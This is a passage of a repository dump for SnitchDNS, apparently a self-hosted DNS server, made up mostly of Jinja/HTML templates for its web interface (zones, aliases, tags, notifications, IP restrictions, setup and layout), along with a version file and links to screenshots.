38 |                     <form action="{{ url_for('dns.alias_delete', alias_id=alias.id) }}" method="post" class="d-inline ml-1" id="delete-alias-form-{{ alias.id }}">
39 |                         <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
40 |                         <a href="#" class="confirm-delete text-danger" title="delete alias"><i class="fas fa-trash"></i></a>
41 |                     </form>
42 |                 </td>
43 |             </tr>
44 |             {% endfor %}
45 |             </tbody>
46 |         </table>
47 |         {% endif %}
48 |     </div>
49 |     <div class="col-lg-3"></div>
50 | </div>
51 | 
52 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/dns/import/index.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-2"></div>
 6 |     <div class="col-lg">
 7 |         <h2>Import Zones</h2>
 8 | 
 9 |         <form action="{{ url_for('dns.zones_export') }}" method="post">
10 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
11 |             <input type="hidden" name="tags" value="snitch-dns-tag-that-should-never-exist-no-really-i-mean-it">
12 |             <input type="hidden" name="search" value="">
13 |             <a href="#" class="submit-on-click">For the expected CSV format, please click here.</a>
14 |         </form>
15 |         <div class="text-warning small">If you are planning to upload a file with thousands of rows, consider using the CLI instead.</div>
16 | 
17 |         <form action="{{ url_for('dns.zones_import_upload') }}" method="post" enctype="multipart/form-data" class="pt-3">
18 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
19 | 
20 |             <div class="form-group">
21 |                 <label for="csvfile">Upload CSV file</label>
22 |                 <div class="row">
23 |                     <div class="col">
24 |                         <div class="custom-file">
25 |                             <input type="file" class="custom-file-input" id="csvfile" name="csvfile" required>
26 |                             <label class="custom-file-label" for="csvfile">Choose file</label>
27 |                         </div>
28 |                     </div>
29 |                     <div class="col-1">
30 |                         <button type="submit" class="btn btn-primary">Upload</button>
31 |                     </div>
32 |                 </div>
33 |             </div>
34 |         </form>
35 |     </div>
36 |     <div class="col-lg-2"></div>
37 | </div>
38 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/dns/includes/sidebar.html:
--------------------------------------------------------------------------------
 1 | <nav class="nav nav-pills flex-column pb-3">
 2 |     <a class="nav-link {{ 'active' if tab == 'records' }} px-3" href="{{ url_for('dns.zone_view', dns_zone_id=zone.id) }}">
 3 |         <div class="clearfix">
 4 |             <div class="float-left"><i class="fas fa-prescription fa-fw"></i> <span class="pl-2">Records</span></div>
 5 |             <div class="float-right"><span class="badge badge-pill badge-info">{{ zone.record_count }}</span></div>
 6 |         </div>
 7 |     </a>
 8 |     <a class="nav-link {{ 'active' if tab == 'notifications' }} px-3" href="{{ url_for('dns.zone_notifications', dns_zone_id=zone.id) }}">
 9 |         <div class="clearfix">
10 |             <div class="float-left"><i class="fas fa-bell fa-fw"></i> <span class="pl-2">Notifications</span></div>
11 |             <div class="float-right">
12 |                 {% set class = 'success' if zone.notifications.has_enabled() else 'warning' %}
13 |                 {% set text = 'enabled' if zone.notifications.has_enabled() else 'disabled' %}
14 |                 <span class="badge badge-pill badge-{{ class }}">{{ text }}</span>
15 |             </div>
16 |         </div>
17 |     </a>
18 |     <a class="nav-link {{ 'active' if tab == 'restrictions' }} px-3" href="{{ url_for('dns.zone_restrictions', dns_zone_id=zone.id) }}">
19 |         <div class="clearfix">
20 |             <div class="float-left"><i class="fas fa-map-signs fa-fw"></i> <span class="pl-2">Restrictions</span></div>
21 |             <div class="float-right"><span class="badge badge-pill badge-info">{{ zone.restrictions.get_enabled()|length }}</span></div>
22 |         </div>
23 |     </a>
24 |     <a class="nav-link px-3" href="{{ url_for('logs.index', domain='%' ~ zone.domain, user_id=zone.user_id) }}">
25 |         <div class="clearfix">
26 |             <div class="float-left"><i class="fas fa-clipboard-list fa-fw"></i> <span class="pl-2">View Logs</span></div>
27 |             <div class="float-right"></div>
28 |         </div>
29 |     </a>
30 | </nav>


--------------------------------------------------------------------------------
/app/templates/dns/notifications/settings/email.html:
--------------------------------------------------------------------------------
 1 | <div class="row mt-4">
 2 |     <div class="col-lg-9">
 3 |         <h5>E-mail Notification Settings</h5>
 4 | 
 5 |         <form action="{{ url_for('dns.zone_notifications_settings_save', dns_zone_id=zone.id, item='email') }}" method="post" class="recipient-form">
 6 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
 7 |             <input type="hidden" class="recipient-hidden-input" name="recipients[]" value="">
 8 | 
 9 |             <h6>Recipients</h6>
10 | 
11 |             <div class="form-group">
12 |                 <div class="input-group">
13 |                     <input type="text" class="form-control" value="" id="recipient" placeholder="recipient@example.com" autofocus>
14 |                     <div class="input-group-append"><span class="input-group-text"><a href="#" id="add-recipient"><i class="fas fa-plus"></i></a></span></div>
15 |                 </div>
16 |             </div>
17 | 
18 |             <ul class="list-group recipient-list">
19 |                 <li class="list-group-item d-flex justify-content-between align-items-center hidden recipient-template">
20 |                     <span class="recipient-email"></span>
21 |                     <a href="#" class="delete-recipient text-danger"><i class="fas fa-trash"></i></a>
22 |                 </li>
23 |             </ul>
24 | 
25 |             <div class="form-group mt-3">
26 |                 <button type="submit" class="btn btn-block btn-primary d-none save-button">save changes</button>
27 |             </div>
28 |         </form>
29 |     </div>
30 |     <div class="col-lg"></div>
31 | </div>
32 | 
33 | <script type="text/javascript" src="{{ url_for('static', filename='js/snitch/email_recipients.js') }}"></script>
34 | 
35 | <script type="text/javascript">
36 |     $(document).ready(function() {
37 |         SnitchEmailRecipients.init({{ subscription.data|safe }});
38 |         SnitchEmailRecipients.setOwnEmail('{{ current_user.email }}');
39 |     });
40 | </script>


--------------------------------------------------------------------------------
/app/templates/dns/notifications/settings/slack.html:
--------------------------------------------------------------------------------
 1 | <div class="row mt-4">
 2 |     <div class="col-lg-9">
 3 |         <h5>Slack Webhook Settings</h5>
 4 | 
 5 |         <form action="{{ url_for('dns.zone_notifications_settings_save', dns_zone_id=zone.id, item='slack') }}" method="post" class="recipient-form">
 6 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
 7 | 
 8 |             <div class="form-group">
 9 |                 <label for="slack_webhook_url">Webhook URL</label>
10 |                 <input type="text" name="slack_webhook_url" id="slack_webhook_url" class="form-control" value="{{ subscription.data }}" placeholder="https://hooks.slack.com/services/">
11 |             </div>
12 | 
13 |             <div class="form-group mt-3">
14 |                 <button type="submit" class="btn btn-block btn-primary">save settings</button>
15 |             </div>
16 |         </form>
17 |     </div>
18 |     <div class="col"></div>
19 | </div>


--------------------------------------------------------------------------------
/app/templates/dns/notifications/settings/teams.html:
--------------------------------------------------------------------------------
 1 | <div class="row mt-4">
 2 |     <div class="col-lg-9">
 3 |         <h5>Teams Webhook Settings</h5>
 4 | 
 5 |         <form action="{{ url_for('dns.zone_notifications_settings_save', dns_zone_id=zone.id, item='teams') }}" method="post" class="recipient-form">
 6 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
 7 | 
 8 |             <div class="form-group">
 9 |                 <label for="teams_webhook_url">Webhook URL</label>
10 |                 <input type="text" name="teams_webhook_url" id="teams_webhook_url" class="form-control" value="{{ subscription.data }}" placeholder="">
11 |             </div>
12 | 
13 |             <div class="form-group mt-3">
14 |                 <button type="submit" class="btn btn-block btn-primary">save settings</button>
15 |             </div>
16 |         </form>
17 |     </div>
18 |     <div class="col"></div>
19 | </div>


--------------------------------------------------------------------------------
/app/templates/dns/notifications/view.html:
--------------------------------------------------------------------------------
 1 | <div class="row mt-4">
 2 |     <div class="col-lg">
 3 |         {% if has_enabled_providers == False %}
 4 |         <div class="alert alert-warning">The administrator has not enabled any notification providers.</div>
 5 |         {% else %}
 6 | 
 7 |         <div class="alert alert-info">To prevent notifications from flooding the recipient, the notifications are disabled after the first one is sent.</div>
 8 | 
 9 |         <form action="{{ url_for('dns.zone_notifications_save', dns_zone_id=zone.id) }}" method="post">
10 |         {% for name, provider in providers.items() %}
11 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
12 |             {% if provider.enabled %}
13 |             <div class="form-group row">
14 |                 <div class="col">
15 |                     <label for="notifications_{{ name }}">{{ provider.title }}</label>
16 |                 </div>
17 |                 <div class="col text-right">
18 |                     <div class="custom-control custom-switch">
19 |                         <input name="{{ name }}" type="checkbox" class="custom-control-input" id="notifications_{{ name }}" value="1" {{ 'checked' if zone.notifications.is_enabled(name) }}>
20 |                         <label class="custom-control-label" for="notifications_{{ name }}"></label>
21 |                     </div>
22 |                 </div>
23 |                 <div class="col-1">
24 |                     {% if provider.has_settings %}
25 |                     <a href="{{ url_for('dns.zone_notifications_settings', dns_zone_id=zone.id, item=name) }}" title="settings"><i class="fas fa-cog"></i></a>
26 |                     {% endif %}
27 |                 </div>
28 |             </div>
29 |             {% endif %}
30 |         {% endfor %}
31 | 
32 |             <div class="form-group">
33 |                 <button type="submit" class="btn btn-primary btn-block">save</button>
34 |             </div>
35 |         </form>
36 |         {% endif %}
37 |     </div>
38 | </div>


--------------------------------------------------------------------------------
/app/templates/dns/restrictions/edit.html:
--------------------------------------------------------------------------------
 1 | <div class="row mt-4">
 2 |     <div class="col-lg">
 3 |         <h5>{{ 'Edit' if restriction_id > 0 else 'Create' }} Restriction Rule</h5>
 4 | 
 5 |         <form action="{{ url_for('dns.zone_restrictions_edit_save', dns_zone_id=zone.id, restriction_id=restriction_id) }}" method="post" class="mt-4">
 6 |             <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
 7 | 
 8 |             <div class="form-group row">
 9 |                 <div class="col">
10 |                     <label for="ip_range">IP/Range</label>
11 |                 </div>
12 |                 <div class="col">
13 |                     <input type="text" value="{{ restriction.ip_range if restriction_id > 0 }}" name="ip_range" id="ip_range" class="form-control" required autofocus placeholder="11.12.13.14 or 11.12.13.0/16">
14 |                     <div class="text-right"><small>To match all addresses use 0.0.0.0</small></div>
15 |                 </div>
16 |             </div>
17 | 
18 |             <div class="form-group row">
19 |                 <div class="col">
20 |                     <label for="type">Type</label>
21 |                 </div>
22 |                 <div class="col">
23 |                     <select class="custom-select" name="type" id="type" required>
24 |                         <option value="1" {{ 'selected' if restriction_id > 0 and restriction.type == 1 }}>Allow</option>
25 |                         <option value="2" {{ 'selected' if restriction_id > 0 and restriction.type == 2 }}>Block</option>
26 |                     </select>
27 |                 </div>
28 |             </div>
29 | 
30 |             <div class="form-group row">
31 |                 <div class="col">
32 |                     <label for="enabled">Enabled</label>
33 |                 </div>
34 |                 <div class="col text-right">
35 |                     <div class="custom-control custom-switch">
36 |                         <input name="enabled" type="checkbox" class="custom-control-input" id="enabled" value="1" {{ 'checked' if restriction_id == 0 or (restriction_id > 0 and restriction.enabled == True) }}>
37 |                         <label class="custom-control-label" for="enabled"></label>
38 |                     </div>
39 |                 </div>
40 |             </div>
41 | 
42 |             <div class="form-group">
43 |                 <button type="submit" class="btn btn-primary btn-block">save</button>
44 |             </div>
45 |         </form>
46 |     </div>
47 | </div>


--------------------------------------------------------------------------------
/app/templates/dns/tags/edit.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3"></div>
 6 |     <div class="col-lg">
 7 |         <div class="card">
 8 |             <div class="card-header">{{ 'Edit' if tag_id > 0 else 'Create' }} Tag</div>
 9 |             <div class="card-body">
10 |                 <form action="{{ url_for('dns.tags_edit_save', tag_id=tag_id) }}" method="post">
11 |                     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
12 | 
13 |                     <div class="form-group">
14 |                         <label for="name">Name</label>
15 |                         <input type="text" name="name" id="name" class="form-control" value="{{ tag.name if tag_id > 0 }}" required autofocus>
16 |                     </div>
17 | 
18 |                     <div class="form-group">
19 |                         <button type="submit" class="btn btn-block btn-primary">save</button>
20 |                     </div>
21 |                 </form>
22 |             </div>
23 |         </div>
24 |     </div>
25 |     <div class="col-lg-3"></div>
26 | </div>
27 | 
28 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/dns/tags/index.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3"></div>
 6 |     <div class="col-lg">
 7 | 
 8 |         <h3>
 9 |             <div class="row">
10 |                 <div class="col">Zone Tags</div>
11 |                 <div class="col text-right">
12 |                     <a href="{{ url_for('dns.tags_edit', tag_id=0) }}" class="btn btn-sm btn-primary"><i class="fas fa-plus fa-fw"></i> create</a>
13 |                 </div>
14 |             </div>
15 |         </h3>
16 | 
17 | 
18 |         {% if tags|length == 0 %}
19 |         <div class="alert alert-info text-center">No tags created yet.</div>
20 |         {% else %}
21 |         <table class="table table-striped table-responsive-lg">
22 |             <thead>
23 |             <tr>
24 |                 <th>#</th>
25 |                 <th style="width: 100%;">Name</th>
26 |                 <th class="text-right">Domains</th>
27 |                 <th></th>
28 |             </tr>
29 |             </thead>
30 |             <tbody>
31 |             {% for tag in tags %}
32 |             <tr>
33 |                 <td>{{ loop.index }}</td>
34 |                 <td>{{ tag.name }}</td>
35 |                 <td class="text-right">{{ tag_domains(tag.id) }}</td>
36 |                 <td style="white-space: nowrap;">
37 |                     <a href="{{ url_for('dns.tags_edit', tag_id=tag.id) }}" title="edit tag"><i class="fas fa-edit"></i></a>
38 |                     <a href="{{ url_for('dns.index', tags=tag.name) }}" title="view tagged domains"><i class="fas fa-globe"></i></a>
39 |                     <form action="{{ url_for('dns.tags_delete', tag_id=tag.id) }}" method="post" class="d-inline ml-1" id="delete-tag-form-{{ tag.id }}">
40 |                         <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
41 |                         <a href="#" class="confirm-delete text-danger" title="delete tag"><i class="fas fa-trash"></i></a>
42 |                     </form>
43 |                 </td>
44 |             </tr>
45 |             {% endfor %}
46 |             </tbody>
47 |         </table>
48 |         {% endif %}
49 |     </div>
50 |     <div class="col-lg-3"></div>
51 | </div>
52 | 
53 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/dns/zones/view.html:
--------------------------------------------------------------------------------
1 | {% extends 'dns/includes/base.html' %}


--------------------------------------------------------------------------------
/app/templates/errors/404.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3">
 6 |         <img src="{{ url_for('static', filename='images/freepik_rat.png') }}">
 7 |     </div>
 8 |     <div class="col-lg">
 9 |         <h3>I swear, I don't know where that page is.</h3>
10 |         <br>
11 |         <h5>But I could definitely come up with 404 excuses.</h5>
12 |     </div>
13 | </div>
14 | <div class="row">
15 |     <div class="col-lg">
16 |         <small><a href="http://www.freepik.com" class="text-primary">Designed by Freepik</a></small>
17 |     </div>
18 | </div>
19 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/errors/500.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3">
 6 |         <img src="{{ url_for('static', filename='images/freepik_rat2.png') }}">
 7 |     </div>
 8 |     <div class="col-lg pl-5">
 9 |         <h3>This clearly isn't working. We need a break.</h3>
10 |         <br>
11 |         <h5>Error Description</h5>
12 |         <div class="mt-4 text-monospace small">{{ error }}</div>
13 |         {% if current_user.is_authenticated and current_user.admin %}
14 |         <div class="mt-4 text-monospace small">{{ (trace|escape).replace("\n", "<br>"|safe) }}</div>
15 |         {% endif %}
16 |     </div>
17 | </div>
18 | <div class="row">
19 |     <div class="col-lg">
20 |         <small><a href="http://www.freepik.com" class="text-primary">Designed by Freepik</a></small>
21 |     </div>
22 | </div>
23 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/home/index.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mb-3">
 5 |     <div class="col-lg">
 6 |         {% if zone_count == 0 %}
 7 |         <div class="alert alert-warning text-center">
 8 |             You do not have any zones. <a href="{{ url_for('dns.zone_edit', dns_zone_id=0) }}">Click here to create one</a>.
 9 |         </div>
10 |         {% endif %}
11 |     </div>
12 | </div>
13 | {% include 'logs/results.html' %}
14 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/install/index.html:
--------------------------------------------------------------------------------
 1 | {% extends 'layout/base.html' %}
 2 | 
 3 | {% block content %}
 4 | <div class="row mt-5">
 5 |     <div class="col-lg-3"></div>
 6 |     <div class="col-lg">
 7 |         <div class="card">
 8 |             <h3 class="card-header">SnitchDNS Setup</h3>
 9 |             <div class="card-body">
10 |                 <form method="post" action="{{ url_for('install.save') }}" autocomplete="off">
11 |                     <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
12 | 
13 |                     <div class="form-group">
14 |                         <label for="username">Administrator Username</label>
15 |                         <input type="text" value="" name="username" id="username" class="form-control" placeholder="admin" required autofocus>
16 |                     </div>
17 | 
18 |                     <div class="form-group">
19 |                         <label for="password">Administrator Password</label>
20 |                         <input type="password" value="" name="password" id="password" class="form-control" placeholder="correct horse battery staple" required>
21 |                         <small class="font-italic">{{ password_complexity }}</small>
22 |                     </div>
23 | 
24 |                     <div class="form-group">
25 |                         <label for="full_name">Full Name</label>
26 |                         <input type="text" value="" name="full_name" id="full_name" class="form-control" placeholder="Admin User" required>
27 |                     </div>
28 | 
29 |                     <div class="form-group">
30 |                         <label for="email">E-Mail</label>
31 |                         <input type="text" value="" name="email" id="email" class="form-control" placeholder="you@yourdomain.com" required>
32 |                     </div>
33 | 
34 |                     <div class="form-group">
35 |                         <button type="submit" class="btn btn-primary btn-block">setup</button>
36 |                     </div>
37 |                 </form>
38 |             </div>
39 |         </div>
40 |     </div>
41 |     <div class="col-3"></div>
42 | </div>
43 | {% endblock %}


--------------------------------------------------------------------------------
/app/templates/layout/addons.html:
--------------------------------------------------------------------------------
 1 | <!-- Delete Confirmation -->
 2 | <div class="modal fade" id="delete-confirmation-box" tabindex="-1" role="dialog" aria-hidden="true">
 3 |     <div class="modal-dialog" role="document">
 4 |         <div class="modal-content">
 5 |             <div class="modal-header">
 6 |                 <h5 class="modal-title">Delete Confirmation</h5>
 7 |                 <button type="button" class="close" data-dismiss="modal" aria-label="Close">
 8 |                     <span aria-hidden="true">&times;</span>
 9 |                 </button>
10 |             </div>
11 |             <div class="modal-body" id="delete-confirmation-text">
12 |                 Are you sure you want to delete this item?
13 |             </div>
14 |             <div class="modal-footer">
15 |                 <input type="hidden" id="delete-form-to-submit" value="">
16 |                 <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
17 |                 <button type="button" class="btn btn-danger delete-confirmation-button">Delete</button>
18 |             </div>
19 |         </div>
20 |     </div>
21 | </div>
22 | 


--------------------------------------------------------------------------------
/app/templates/layout/base.html:
--------------------------------------------------------------------------------
 1 | <!doctype html>
 2 | <html class="h-100">
 3 | {% include 'layout/head.html' %}
 4 | <body class="d-flex flex-column h-100">
 5 | 
 6 | {% include 'layout/topmenu.html' %}
 7 | 
 8 | {% if current_user.is_authenticated and is_daemon_running() == False %}
 9 | <div class="container-flex">
10 |     <div class="text-center">
11 |         <div class="alert alert-danger">
12 |             DNS Daemon Not Running
13 |             {% if setting_get('dns_daemon_start_everyone', False) == True %}
14 |             -
15 |             <form action="{{ url_for('config.system_daemon') }}" method="post" class="d-inline">
16 |                 <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
17 |                 <input type="hidden" name="action" value="start">
18 |                 <a href="#" class="submit-on-click">Click here to start it</a>
19 |             </form>
20 | 
21 |             {% endif %}
22 |         </div>
23 |     </div>
24 | </div>
25 | {% endif %}
26 | 
27 | <main role="main" class="flex-shrink-0">
28 |     <div class="container">
29 |         {% include 'layout/notifications.html' %}
30 | 
31 |         {% block content %}{% endblock %}
32 |     </div>
33 | </main>
34 | 
35 | {% include 'layout/addons.html' %}
36 | 
37 | {% include 'layout/footer.html' %}
38 | 
39 | {% if current_user.is_authenticated and setting_get('webpush_enabled', False) == True %}
40 | {% include 'layout/webpush.html' %}
41 | {% endif %}
42 | 
43 | </body>
44 | </html>


--------------------------------------------------------------------------------
/app/templates/layout/footer.html:
--------------------------------------------------------------------------------
 1 | <footer class="footer mt-auto pt-5 pb-3">
 2 |     <div class="container text-center">
 3 |         <span class="text-default">
 4 |             {% set commit_count = setting_get('git_commit_count', 0)|int %}
 5 |             {% set last_commit_date = setting_get('last_commit_date', '') %}
 6 |             {% set hash_version = setting_get('git_hash_version', '') %}
 7 |             {% set version = config.SNITCHDNS_VERSION %}
 8 |             {% if hash_version|length > 0 %}
 9 |                 {% set version = version + '-' + hash_version %}
10 |             {% endif %}
11 | 
12 |             <span title="Commits: {{ commit_count }} | Commit Date: {{ last_commit_date }}">SnitchDNS v{{ version }}</span>
13 |         </span>
14 |     </div>
15 | </footer>


--------------------------------------------------------------------------------
/app/templates/layout/head.html:
--------------------------------------------------------------------------------
 1 | <head>
 2 |     <meta charset="utf-8">
 3 |     <meta name="google" content="notranslate">
 4 |     <meta http-equiv="Content-Language" content="en">
 5 |     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
 6 |     <link rel="shortcut icon" href="{{ url_for('static', filename='images/favicon.png') }}" type="image/x-icon">
 7 |     <link rel="icon" href="{{ url_for('static', filename='images/favicon.png') }}" type="image/x-icon">
 8 | 
 9 |     <title>SnitchDNS</title>
10 |     <link rel="stylesheet" href="{{ url_for('static', filename='css/themes/darkly.css') }}">
11 |     <link rel="stylesheet" href="{{ url_for('static', filename='css/lib/tempusdominus-bootstrap-4.css') }}">
12 |     <link rel="stylesheet" href="{{ url_for('static', filename='css/lib/select2.css') }}">
13 |     <link rel="stylesheet" href="{{ url_for('static', filename='fontawesome/css/all.css') }}">
14 |     <link rel="stylesheet" href="{{ url_for('static', filename='css/snitch.css') }}">
15 | 
16 |     <script type="text/javascript" src="{{ url_for('static', filename='js/lib/jquery.js') }}"></script>
17 |     <script type="text/javascript" src="{{ url_for('static', filename='js/lib/jquery.validate.js') }}"></script>
18 |     <script type="text/javascript" src="{{ url_for('static', filename='js/lib/popper.js') }}"></script>
19 |     <script type="text/javascript" src="{{ url_for('static', filename='js/lib/bootstrap.js') }}"></script>
20 |     <script type="text/javascript" src="{{ url_for('static', filename='js/lib/moment.js') }}"></script>
21 |     <script type="text/javascript" src="{{ url_for('static', filename='js/lib/tempusdominus-bootstrap-4.js') }}"></script>
22 |     <script type="text/javascript" src="{{ url_for('static', filename='js/lib/clipboard.js') }}"></script>
23 |     <script type="text/javascript" src="{{ url_for('static', filename='js/lib/select2.full.js') }}"></script>
24 |     <script type="text/javascript" src="{{ url_for('static', filename='fontawesome/js/all.js') }}"></script>
25 |     <script type="text/javascript" src="{{ url_for('static', filename='js/snitch/snitch.js') }}"></script>
26 | </head>


--------------------------------------------------------------------------------
/app/templates/layout/macros.html:
--------------------------------------------------------------------------------
 1 | {% macro render_pagination(pagination, endpoint, query) %}
 2 | <ul class="pagination justify-content-center">
 3 | {% for page in pagination.iter_pages() %}
 4 |     {% if page %}
 5 |     <li class="page-item {{ 'active' if page == pagination.page else '' }}"><a class="page-link" href="{{ endpoint }}?{{ query }}{{ page }}">{{ page }}</a></li>
 6 |     {% else %}
 7 |     <li class="page-item"><a class="page-link">...</a></li>
 8 |     {% endif %}
 9 | {% endfor %}
10 | </ul>
11 | {% endmacro %}


--------------------------------------------------------------------------------
/app/templates/layout/notifications.html:
--------------------------------------------------------------------------------
 1 | {% with messages = get_flashed_messages(with_categories=true) %}
 2 | {% if messages %}
 3 | <div class="row mt-5">
 4 |     <div class="col-lg">
 5 |         {% for category, message in messages %}
 6 |         {% if category == 'error' %}
 7 |         <div class="alert alert-danger" role="alert">{{ message }}</div>
 8 |         {% else %}
 9 |         <div class="alert alert-success" role="alert">{{ message }}</div>
10 |         {% endif %}
11 |         {% endfor %}
12 |     </div>
13 | </div>
14 | {% endif %}
15 | {% endwith %}


--------------------------------------------------------------------------------
/app/templates/layout/topmenu.html:
--------------------------------------------------------------------------------
 1 | <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
 2 |     <div class="container">
 3 |         <a class="navbar-brand" href="{{ url_for('home.index') }}">
 4 |             <span><i class="fas fa-theater-masks text-danger"></i></span>
 5 |             SnitchDNS
 6 |         </a>
 7 |         <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#top-menu" aria-controls="top-menu" aria-expanded="false" aria-label="Toggle navigation">
 8 |             <span class="navbar-toggler-icon"></span>
 9 |         </button>
10 | 
11 |         <div class="navbar-collapse collapse" id="top-menu">
12 |             <ul class="navbar-nav ml-auto">
13 |                 {% if current_user.is_authenticated %}
14 |                 <li class="nav-item">
15 |                     <a class="nav-link" href="{{ url_for('logs.index') }}"><i class="fas fa-clipboard-list"></i> <span class="ml-1">Logs</span></a>
16 |                 </li>
17 |                 <li class="nav-item dropdown">
18 |                     <a class="nav-link dropdown-toggle" data-toggle="dropdown" href="#" role="button" aria-haspopup="true" aria-expanded="false"><i class="fas fa-cog"></i> <span class="ml-1">Manage</span></a>
19 |                     <div class="dropdown-menu">
20 |                         <a class="dropdown-item" href="{{ url_for('dns.index') }}"><i class="fas fa-globe"></i> <span class="ml-1">Zones</span></a>
21 |                         <a class="dropdown-item" href="{{ url_for('dns.tags_index') }}"><i class="fas fa-tags"></i> <span class="ml-1">Tags</span></a>
22 |                         <a class="dropdown-item" href="{{ url_for('dns.alias_index') }}"><i class="fas fa-signature"></i> <span class="ml-1">Aliases</span></a>
23 |                         <div class="dropdown-divider"></div>
24 |                         <a class="dropdown-item" href="{{ url_for('config.index') }}"><i class="fas fa-cogs"></i> <span class="ml-1">Settings</span></a>
25 |                     </div>
26 |                 </li>
27 |                 <li class="nav-item">
28 |                     <a class="nav-link" href="{{ url_for('auth.logout') }}" title="Logout {{ current_user.full_name }}"><i class="fas fa-sign-out-alt"></i> <span class="ml-1">Logout</span></a>
29 |                 </li>
30 |                 {% endif %}
31 |             </ul>
32 |         </div>
33 |     </div>
34 | </nav>


--------------------------------------------------------------------------------
/app/templates/layout/webpush.html:
--------------------------------------------------------------------------------
 1 | <script type="text/javascript" src="{{ url_for('static', filename='js/webpush/main.js') }}"></script>
 2 | <script type="text/javascript">
 3 |     $(document).ready(function() {
 4 |         WebPush.init(
 5 |             '{{ csrf_token() }}',
 6 |             '{{ setting_get('vapid_public', '') }}',
 7 |             '{{ url_for('static', filename='js/webpush/sw.js') }}',
 8 |             '{{ url_for('notifications.webpush_register') }}'
 9 |         );
10 |     });
11 | </script>


--------------------------------------------------------------------------------
/app/version.py:
--------------------------------------------------------------------------------
1 | __version__ = '1.1.7'
2 | 


--------------------------------------------------------------------------------
/data/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/data/.gitkeep


--------------------------------------------------------------------------------
/docs/general/screenshots.md:
--------------------------------------------------------------------------------
 1 | # SnitchDNS Screenshots
 2 | 
 3 | ## Search Logs
 4 | 
 5 | ![](../images/screenshots/logs.png)
 6 | 
 7 | ## Settings
 8 | 
 9 | ![](../images/screenshots/settings.png)
10 | 
11 | ## Domains
12 | 
13 | ![](../images/screenshots/domains.png)
14 | 
15 | ## DNS Records
16 | 
17 | ![](../images/screenshots/dns-records.png)
18 | 
19 | ## IP Restrictions
20 | 
21 | ![](../images/screenshots/ip-restrictions.png)
22 | 
23 | ## Notifications
24 | 
25 | ![](../images/screenshots/notifications.png)
26 | 
27 | ## DNS Query
28 | 
29 | ![](../images/screenshots/terminal-query.png)
30 | 


--------------------------------------------------------------------------------
/docs/images/icon32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/docs/images/icon32.png


--------------------------------------------------------------------------------
/docs/images/icon64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/docs/images/icon64.png


--------------------------------------------------------------------------------
/docs/images/screenshots/dns-records.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/docs/images/screenshots/dns-records.png


--------------------------------------------------------------------------------
/docs/images/screenshots/domains.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/docs/images/screenshots/domains.png


--------------------------------------------------------------------------------
/docs/images/screenshots/ip-restrictions.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/docs/images/screenshots/ip-restrictions.png


--------------------------------------------------------------------------------
/docs/images/screenshots/logs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/docs/images/screenshots/logs.png


--------------------------------------------------------------------------------
/docs/images/screenshots/notifications.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/docs/images/screenshots/notifications.png


--------------------------------------------------------------------------------
/docs/images/screenshots/settings.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/docs/images/screenshots/settings.png


--------------------------------------------------------------------------------
/docs/images/screenshots/terminal-query.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sadreck/SnitchDNS/52dd4c5359c71b6cd74f227726785e261ee664b6/docs/images/screenshots/terminal-query.png


--------------------------------------------------------------------------------
